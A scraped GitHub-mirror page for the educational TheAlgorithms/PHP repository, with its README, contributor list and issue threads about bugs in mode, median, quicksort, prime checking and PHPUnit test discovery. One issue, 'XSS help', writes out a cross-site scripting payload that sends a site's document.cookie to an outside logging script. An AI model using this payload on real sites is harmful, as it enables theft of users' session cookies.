Giter Club home page Giter Club logo

php's Introduction

The Algorithms - PHP

Gitpod ready-to-code

The Algorithms - PHP, is a library or framework written in the PHP programming language that provides a set of algorithms and data structures for various computational tasks. It aims to simplify the implementation of common algorithms and data structures in PHP, making it easier for developers to leverage these powerful tools in their projects.

All algorithms implemented in PHP - for education

The Implementations in this repo are examples and may be less efficient than the implementations in the PHP standard Library.

Contribution Guidelines:

To Contribute to this repo please take your time to read our Contribution Guidelines before you contribute.

Community Channels

We're on Discord and Gitter! Community channels are great for you to ask questions and get help. Please join us!

List of Algorithms

See the directory for easier navigation and to view the current list of algorithms.

Thanks for contributing!!

php's People

Contributors

80quattro avatar abdul-samad99 avatar afonsocarlos avatar akshaykhale1992 avatar anamarijapapic avatar andremralves avatar anupkumarpanwar avatar aryanshb avatar aydavidgithere avatar cp-sumi-k avatar darwinz avatar devmaufh avatar emlycool avatar jowinjohnchemban avatar lakuapik avatar lukasdotcom avatar nikhilkala avatar nimah79 avatar ravikisha avatar rohitchattopadhyay avatar rsayed007 avatar rubendelblanco avatar salehhashemi1992 avatar samadmemon991 avatar stepfenshawn avatar theakshaykhale avatar thierrydev avatar vil02 avatar yvonnechong18 avatar zy1912 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

php's Issues

Shouldn't mode function return multiple values?

The mode is the value that appears most often in a set of data values.
Source: (Wikipedia)

But what when there are more than one most often appear value?
Example: (5, 5, 6, 6, 7) -> there are two most often appear values -> 5 and 6

The mode is not necessarily unique to a given discrete distribution, since the probability mass function may take the same maximum value at several points x1, x2, etc.
Source: (Wikipedia)

The mode function in this repository returns only one value (not even the smallest or the greatest).
Shouldn't return an array of the most appear value/values?

Examples:
mode(5, 5, 6, 6); returns: 5, expected: [5, 6]
mode(6, 5, 5, 5, 6, 6); returns: 6, expected: [5, 6]
mode(1, 1, 2, 3, 4); returns: 1, expected: [1]

Do we allow for improvement PRs

Hello @nikhilkala , can one make PRs to improve already existing solutions? An example is the factorial solution which will be faster for large numbers if a cache is implemented

XSS help

I'm doing an ethical hacking test, I tested an XSS payload : <script>alert("xss")</script> on a website, and the pop-up appears, so I want to collect user cookie

I created a getcookie.php file and a cookies.txt file and and I uploaded both files to a hosting server,
I placed the two files in the htdocs folder, which now contains index.html, getcookie.php and a cookies.txt

This is the getcookie.php file:

When I try this in the search box: : <script>document.location="http://website.com/getcookie.php?c="+document.cookie;</script>

I get this URL:
https://website2/search/?section=all&query=<script>document.location="http:SLASHSLASHwebsite.comSLASHgetcookie.php?c="+document.cookie;&path=SLASH

and I don't see any cookies in cookies.txt

What am I doing wrong, please? I've tried lot of payloads in the past 3 days but no results,
when I type http://website.com/getcookie.php in a new tab, I get the cookie but it's empty, I get this text : Cookie:

Thank you

Quicksort empty clause is not correct

Hi, the first clause of quickSort algorithm intended for checking empty inputs is using "isset" function which only checks for variable existence or null. So, if I call quickSort with an empty array ([ ]) this this clause will not work.

Also, using isset inside this function has not sense because the $input parameter is always defined and it will be always an array (nulls are not allowed with this arguments definition), so it will always evaluate to true.

I think it would be appropriate to use the "empty" function in this case instead.

Backtracking?

I wrote a sudoku solver using the backtracking algorithm. Where should that go? Or might it warrant its own directory?

Bug in Median.php

Tests for median function are made incorectly. I've tried to fix it and I've noticed, that function median returns wrong value when gets an odd numbers of arguments.

Example:
median(1, 2, 3, 4, 5); returns: 2.5 while expected: 3
median(1, 2, 3); returns: 1.5 while expected: 2

Standard structure for algorithms

first of all, Thank you for this helpful repo.
I've noticed that some algorithms are implemented as functions, while others are implemented using classes and methods.

To maintain consistency, it would be beneficial to define a standard coding style, such as adhering to a specific PSR, namespace, or any other structural guidelines for contributions. This way, all algorithms will follow the same structure, making it easier to understand and contribute to the project.

Add Gitpod Setup

Description

Setup Gitpod environment for running the repository in Gitpod.

Add Gitpod ready to code Badge to the README.md file

Bug in Check Prime

In Math/CheckPrime.php

there is a bug, isPrime() returns true to the square of a number, for example.
isPrime(49) // return true instead of false

[PHPUnit testing]: Sorting tests are not running

The PHPUnit CLI test runner doesn't execute test methods from the SortingTests.php file.

This behavior is expected because the PHPUnit command-line test runner, when directed to a directory (in this project's case, tests), searches for *Test.php files, and the file SortingTests.php ends with *Tests.php.

To resolve this issue and have PHPUnit run the sorting tests, the file should be renamed from SortingTests.php to SortingTest.php.

Current test execution and output:

To run tests locally and in the CI script, the project uses the composer test Composer script (a shortcut for the vendor/bin/phpunit tests command), which returns the following output: OK (74 tests, 202 assertions).

While there are actually 95 tests and 221 assertions at the time of opening this issue!

When running the command vendor/bin/phpunit tests --testdox to generate a more detailed test report, it becomes evident that the sorting tests (located in SortingTests.php) are not being executed:

0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946,17711,28657,46368,75025,121393,196418,317811,514229,832040,1346269,2178309,3524578,5702887,9227465,14930352,24157817,39088169,63245986,102334155,165580141,267914296,433494437,701408733,1134903170,1836311903,2971215073,4807526976,7778742049,12586269025,20365011074,32951280099,53316291173,86267571272,139583862445,225851433717,365435296162,591286729879,956722026041,1548008755920,2504730781961,4052739537881,6557470319842,10610209857723,17167680177565,27777890035288,44945570212853,72723460248141,117669030460994,190392490709135,308061521170129,498454011879264,806515533049393,1304969544928657,2111485077978050,3416454622906707,5527939700884757,8944394323791464,14472334024676221,23416728348467685,37889062373143906,61305790721611591,99194853094755497,160500643816367088,259695496911122585,420196140727489673,679891637638612258,1100087778366101931,1779979416004714189,2880067194370816120,4660046610375530309,7540113804746346429,1.2200160415122E+19,1.9740274219868E+19,3.194043463499E+19,5.1680708854858E+19,8.3621143489848E+19,1.3530185234471E+20,2.1892299583456E+20,956722026041PHPUnit 9.6.13 by Sebastian Bergmann and contributors.

Ciphers
 ✔ Caesar cipher
 ✔ Xor cipher

Mono Alphabetic Cipher
 ✔ Mono alphabetic cipher

Morse Code
 ✔ Morse code cipher

Conversions
 ✔ Binary to decimal
 ✔ Decimal to binary
 ✔ Octal to decimal
 ✔ Decimal to octal
 ✔ Decimal to hex
 ✔ Hex to decimal
 ✔ Speed conversion

Singly Linked List
 ✔ Is palindrome with data set "IsPalindrome"
 ✔ Is palindrome with data set "IsPalindrome2"
 ✔ Is palindrome with data set "IsNotPalindrome"
 ✔ Is palindrome with data set "IsNotPalindrome2"
 ✔ Delete

Breadth First Search
 ✔ Breadth first search
 ✔ Breadth first search
 ✔ Breadth first search

Depth First Search
 ✔ Depth first search
 ✔ Depth first search
 ✔ Depth first search

Maths
 ✔ Factorial
 ✔ Is number armstrong
 ✔ Is number palindromic
 ✔ Is prime
 ✔ Absolute max
 ✔ Absolute min
 ✔ Perfect square
 ✔ Fast exponentiation
 ✔ Fibonacci series
 ✔ Neon number
 ✔ Fibonacci generator
 ✔ Mean
 ✔ Median
 ✔ Mode

Project Euler
 ✔ Problem 1
 ✔ Problem 2
 ✔ Problem 3
 ✔ Problem 4
 ✔ Problem 5
 ✔ Problem 6
 ✔ Problem 7
 ✔ Problem 8
 ✔ Problem 9
 ✔ Problem 10
 ✔ Problem 11

Searches
 ✔ Binary search iterative
 ✔ Binary search by recursion
 ✔ Binary search by recursion with empty list
 ✔ Binary search by recursion with one element list
 ✔ Binary search by recursion with two element list
 ✔ Binary search by recursion with three element list
 ✔ Fibonacci search
 ✔ Linear search
 ✔ Lower bound
 ✔ Upper bound
 ✔ Jump search
 ✔ Exponential search
 ✔ Ternary search iterative
 ✔ Ternary search by recursion
 ✔ Interpolation search

Array Keys Sort
 ✔ Array keys sort

Gnome Sort
 ✔ Gnome sort
 ✔ Gnome sort

Strings
 ✔ Is palindrome
 ✔ Count sentences
 ✔ Reverse string
 ✔ Reverse words
 ✔ Is anagram
 ✔ Max character
 ✔ Count vowels
 ✔ Count consonants
 ✔ Find distance

Time: 00:00.665, Memory: 70.02 MB

OK (74 tests, 202 assertions)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.